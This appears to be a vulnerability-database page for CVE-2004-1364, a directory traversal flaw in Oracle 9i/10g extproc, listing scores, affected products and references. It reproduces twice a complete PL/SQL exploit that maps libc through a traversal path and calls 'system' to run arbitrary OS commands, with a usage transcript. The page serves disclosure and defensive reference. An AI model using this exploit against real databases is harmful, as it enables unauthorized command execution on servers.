CVE-2004-1364 : Detail

CVE-2004-1364

Directory Traversal
A01-Broken Access Control
15.17%V4
Network
2005-01-19
04h00 +00:00
2018-10-19
12h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Directory traversal vulnerability in extproc in Oracle 9i and 10g allows remote attackers to access arbitrary libraries outside of the $ORACLE_HOME\bin directory.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V2 8.5 AV:N/AC:M/Au:S/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 2951

Publication date : 2006-12-18 23h00 +00:00
Author : Marco Ivaldi
EDB Verified : Yes

-- -- $Id: raptor_oraextproc.sql,v 1.1 2006/12/19 14:21:00 raptor Exp $ -- -- raptor_oraextproc.sql - command exec via oracle extproc -- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> -- -- Directory traversal vulnerability in extproc in Oracle 9i and 10g -- allows remote attackers to access arbitrary libraries outside of the -- $ORACLE_HOME\bin directory (CVE-2004-1364). -- -- This PL/SQL code exploits the Oracle extproc directory traversal bug -- to remotely execute arbitrary OS commands with the privileges of the DBMS -- user (the CREATE [ANY] LIBRARY privilege is needed). -- -- See also: -- http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql -- http://www.0xdeadbeef.info/exploits/raptor_orafile.sql -- -- Vulnerable platforms: -- Oracle 9i (all versions?) -- Oracle 10g versions prior to 10.1.0.3 -- -- Tested on Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production, -- running on both Solaris 9 and 10 systems. It will need some tweakings to -- properly work on other platforms. -- -- Usage example: -- $ echo $ORACLE_HOME -- /opt/oracle/ -- $ sqlplus "/ as sysdba" -- [...] -- Connected to: -- Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production -- With the Partitioning, OLAP and Oracle Data Mining options -- JServer Release 9.2.0.1.0 - Production -- SQL> @raptor_oraextproc.sql -- [...] -- exec oracmd32.exec('touch /tmp/32'); -- [...] -- ERROR at line 1: -- ORA-06520: PL/SQL: Error loading external library -- ORA-06522: ld.so.1: extprocPLSExtProc: fatal: -- /opt/oracle/bin/../../../../../../../lib/32/libc.so.1: wrong ELF class: -- ELFCLASS32 -- [...] -- SQL> exec oracmd64.exec('touch /tmp/64'); -- SQL> !ls -l /tmp/64 -- -rw-r--r-- 1 oracle orainst 0 Dec 19 13:49 /tmp/64 -- -- library for 32-bit oracle releases create or replace library exec_shell32 as '$ORACLE_HOME/bin/../../../../../../../lib/32/libc.so.1'; / -- library for 64-bit oracle releases create or replace library exec_shell64 as '$ORACLE_HOME/bin/../../../../../../../lib/64/libc.so.1'; / -- package for 32-bit oracle releases -- usage: exec oracmd32.exec('command'); create or replace package oracmd32 as procedure exec(cmdstring in char); end oracmd32; / create or replace package body oracmd32 as procedure exec(cmdstring in char) is external name "system" library exec_shell32 language c; end oracmd32; / -- package for 64-bit oracle releases -- usage: exec oracmd64.exec('command'); create or replace package oracmd64 as procedure exec(cmdstring in char); end oracmd64; / create or replace package body oracmd64 as procedure exec(cmdstring in char) is external name "system" library exec_shell64 language c; end oracmd64; / -- milw0rm.com [2006-12-19]
Exploit Database EDB-ID : 24353

Publication date : 2004-08-03 22h00 +00:00
Author : Marco Ivaldi
EDB Verified : Yes

source: https://www.securityfocus.com/bid/10871/info Reportedly, multiple unspecified Oracle products contain multiple unspecified vulnerabilities. The reported vulnerabilities include SQL-injection issues, buffer-overflow issues, and others. There have also been reports that issues covered in this BID and resolved in the referenced Oracle patch include trigger-abuse issues, character-set-conversion bugs, and denial-of-service vulnerabilities. More information is pending. Note that a number of unsupported versions of affected products may also potentially be vulnerable. -- -- $Id: raptor_oraextproc.sql,v 1.1 2006/12/19 14:21:00 raptor Exp $ -- -- raptor_oraextproc.sql - command exec via oracle extproc -- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> -- -- Directory traversal vulnerability in extproc in Oracle 9i and 10g -- allows remote attackers to access arbitrary libraries outside of the -- $ORACLE_HOME\bin directory (CVE-2004-1364). -- -- This PL/SQL code exploits the Oracle extproc directory traversal bug -- to remotely execute arbitrary OS commands with the privileges of the DBMS -- user (the CREATE [ANY] LIBRARY privilege is needed). -- -- See also: -- http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql -- http://www.0xdeadbeef.info/exploits/raptor_orafile.sql -- -- Vulnerable platforms: -- Oracle 9i (all versions?) -- Oracle 10g versions prior to 10.1.0.3 -- -- Tested on Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production, -- running on both Solaris 9 and 10 systems. It will need some tweakings to -- properly work on other platforms. -- -- Usage example: -- $ echo $ORACLE_HOME -- /opt/oracle/ -- $ sqlplus "/ as sysdba" -- [...] -- Connected to: -- Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production -- With the Partitioning, OLAP and Oracle Data Mining options -- JServer Release 9.2.0.1.0 - Production -- SQL> @raptor_oraextproc.sql -- [...] -- exec oracmd32.exec('touch /tmp/32'); -- [...] -- ERROR at line 1: -- ORA-06520: PL/SQL: Error loading external library -- ORA-06522: ld.so.1: extprocPLSExtProc: fatal: -- /opt/oracle/bin/../../../../../../../lib/32/libc.so.1: wrong ELF class: -- ELFCLASS32 -- [...] -- SQL> exec oracmd64.exec('touch /tmp/64'); -- SQL> !ls -l /tmp/64 -- -rw-r--r-- 1 oracle orainst 0 Dec 19 13:49 /tmp/64 -- -- library for 32-bit oracle releases create or replace library exec_shell32 as '$ORACLE_HOME/bin/../../../../../../../lib/32/libc.so.1'; / -- library for 64-bit oracle releases create or replace library exec_shell64 as '$ORACLE_HOME/bin/../../../../../../../lib/64/libc.so.1'; / -- package for 32-bit oracle releases -- usage: exec oracmd32.exec('command'); create or replace package oracmd32 as procedure exec(cmdstring in char); end oracmd32; / create or replace package body oracmd32 as procedure exec(cmdstring in char) is external name "system" library exec_shell32 language c; end oracmd32; / -- package for 64-bit oracle releases -- usage: exec oracmd64.exec('command'); create or replace package oracmd64 as procedure exec(cmdstring in char); end oracmd64; / create or replace package body oracmd64 as procedure exec(cmdstring in char) is external name "system" library exec_shell64 language c; end oracmd64; / -- milw0rm.com [2006-12-19]

Products Mentioned

Configuraton 0

Oracle>>Application_server >> Version *

Oracle>>Application_server >> Version 9.0.2

Oracle>>Application_server >> Version 9.0.2.0.0

Oracle>>Application_server >> Version 9.0.2.0.1

Oracle>>Application_server >> Version 9.0.2.1

Oracle>>Application_server >> Version 9.0.2.2

Oracle>>Application_server >> Version 9.0.2.3

Oracle>>Application_server >> Version 9.0.3

Oracle>>Application_server >> Version 9.0.3.1

Oracle>>Application_server >> Version 9.0.4

Oracle>>Application_server >> Version 9.0.4.0

Oracle>>Application_server >> Version 9.0.4.1

Oracle>>Collaboration_suite >> Version release_1

    Oracle>>E-business_suite >> Version 11.5.1

    Oracle>>E-business_suite >> Version 11.5.2

    Oracle>>E-business_suite >> Version 11.5.3

    Oracle>>E-business_suite >> Version 11.5.4

    Oracle>>E-business_suite >> Version 11.5.5

    Oracle>>E-business_suite >> Version 11.5.6

    Oracle>>E-business_suite >> Version 11.5.7

    Oracle>>E-business_suite >> Version 11.5.8

    Oracle>>E-business_suite >> Version 11.5.9

    Oracle>>Enterprise_manager >> Version 9

    Oracle>>Enterprise_manager >> Version 9.0.1

    Oracle>>Enterprise_manager_database_control >> Version 10.1.2

    Oracle>>Enterprise_manager_grid_control >> Version 10.1.0.2

    Oracle>>Oracle10g >> Version enterprise_9.0.4_.0

      Oracle>>Oracle10g >> Version enterprise_10.1.0.2

        Oracle>>Oracle10g >> Version personal_9.0.4_.0

          Oracle>>Oracle10g >> Version personal_10.1_.0.2

            Oracle>>Oracle10g >> Version standard_9.0.4_.0

              Oracle>>Oracle10g >> Version standard_10.1_.0.2

                Oracle>>Oracle8i >> Version enterprise_8.0.5_.0.0

                  Oracle>>Oracle8i >> Version enterprise_8.0.6_.0.0

                    Oracle>>Oracle8i >> Version enterprise_8.0.6_.0.1

                      Oracle>>Oracle8i >> Version enterprise_8.1.5_.0.0

                        Oracle>>Oracle8i >> Version enterprise_8.1.5_.0.2

                          Oracle>>Oracle8i >> Version enterprise_8.1.5_.1.0

                            Oracle>>Oracle8i >> Version enterprise_8.1.6_.0.0

                              Oracle>>Oracle8i >> Version enterprise_8.1.6_.1.0

                                Oracle>>Oracle8i >> Version enterprise_8.1.7_.0.0

                                  Oracle>>Oracle8i >> Version enterprise_8.1.7_.1.0

                                    Oracle>>Oracle8i >> Version enterprise_8.1.7_.4

                                      Oracle>>Oracle8i >> Version standard_8.0.6

                                        Oracle>>Oracle8i >> Version standard_8.0.6_.3

                                          Oracle>>Oracle8i >> Version standard_8.1.5

                                            Oracle>>Oracle8i >> Version standard_8.1.6

                                              Oracle>>Oracle8i >> Version standard_8.1.7

                                                Oracle>>Oracle8i >> Version standard_8.1.7_.0.0

                                                  Oracle>>Oracle8i >> Version standard_8.1.7_.1

                                                    Oracle>>Oracle8i >> Version standard_8.1.7_.4

                                                      Oracle>>Oracle9i >> Version client_9.2.0.1

                                                        Oracle>>Oracle9i >> Version client_9.2.0.2

                                                          Oracle>>Oracle9i >> Version enterprise_8.1.7

                                                            Oracle>>Oracle9i >> Version enterprise_9.0.1

                                                              Oracle>>Oracle9i >> Version enterprise_9.0.1.4

                                                                Oracle>>Oracle9i >> Version enterprise_9.0.1.5

                                                                  Oracle>>Oracle9i >> Version enterprise_9.2.0

                                                                    Oracle>>Oracle9i >> Version enterprise_9.2.0.1

                                                                      Oracle>>Oracle9i >> Version enterprise_9.2.0.2

                                                                        Oracle>>Oracle9i >> Version enterprise_9.2.0.3

                                                                          Oracle>>Oracle9i >> Version enterprise_9.2.0.4

                                                                            Oracle>>Oracle9i >> Version enterprise_9.2.0.5

                                                                              Oracle>>Oracle9i >> Version personal_8.1.7

                                                                                Oracle>>Oracle9i >> Version personal_9.0.1

                                                                                  Oracle>>Oracle9i >> Version personal_9.0.1.4

                                                                                    Oracle>>Oracle9i >> Version personal_9.0.1.5

                                                                                      Oracle>>Oracle9i >> Version personal_9.2

                                                                                        Oracle>>Oracle9i >> Version personal_9.2.0.1

                                                                                          Oracle>>Oracle9i >> Version personal_9.2.0.2

                                                                                            Oracle>>Oracle9i >> Version personal_9.2.0.3

                                                                                              Oracle>>Oracle9i >> Version personal_9.2.0.4

                                                                                                Oracle>>Oracle9i >> Version personal_9.2.0.5

                                                                                                  Oracle>>Oracle9i >> Version standard_8.1.7

                                                                                                    Oracle>>Oracle9i >> Version standard_9.0

                                                                                                      Oracle>>Oracle9i >> Version standard_9.0.1

                                                                                                        Oracle>>Oracle9i >> Version standard_9.0.1.2

                                                                                                          Oracle>>Oracle9i >> Version standard_9.0.1.3

                                                                                                            Oracle>>Oracle9i >> Version standard_9.0.1.4

                                                                                                              Oracle>>Oracle9i >> Version standard_9.0.1.5

                                                                                                                Oracle>>Oracle9i >> Version standard_9.0.2

                                                                                                                  Oracle>>Oracle9i >> Version standard_9.2

                                                                                                                    Oracle>>Oracle9i >> Version standard_9.2.0.1

                                                                                                                      Oracle>>Oracle9i >> Version standard_9.2.0.2

                                                                                                                        Oracle>>Oracle9i >> Version standard_9.2.0.3

                                                                                                                          Oracle>>Oracle9i >> Version standard_9.2.0.4

                                                                                                                            Oracle>>Oracle9i >> Version standard_9.2.0.5

                                                                                                                              References

                                                                                                                              http://www.kb.cert.org/vuls/id/316206
                                                                                                                              Tags : third-party-advisory, x_refsource_CERT-VN
                                                                                                                              http://www.us-cert.gov/cas/techalerts/TA04-245A.html
                                                                                                                              Tags : third-party-advisory, x_refsource_CERT
                                                                                                                              http://marc.info/?l=bugtraq&m=110382406002365&w=2
                                                                                                                              Tags : mailing-list, x_refsource_BUGTRAQ
                                                                                                                              http://www.securityfocus.com/bid/10871
                                                                                                                              Tags : vdb-entry, x_refsource_BID
                                                                                                                              http://sunsolve.sun.com/search/document.do?assetkey=1-26-101782-1
                                                                                                                              Tags : vendor-advisory, x_refsource_SUNALERT
                                                                                                                              The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.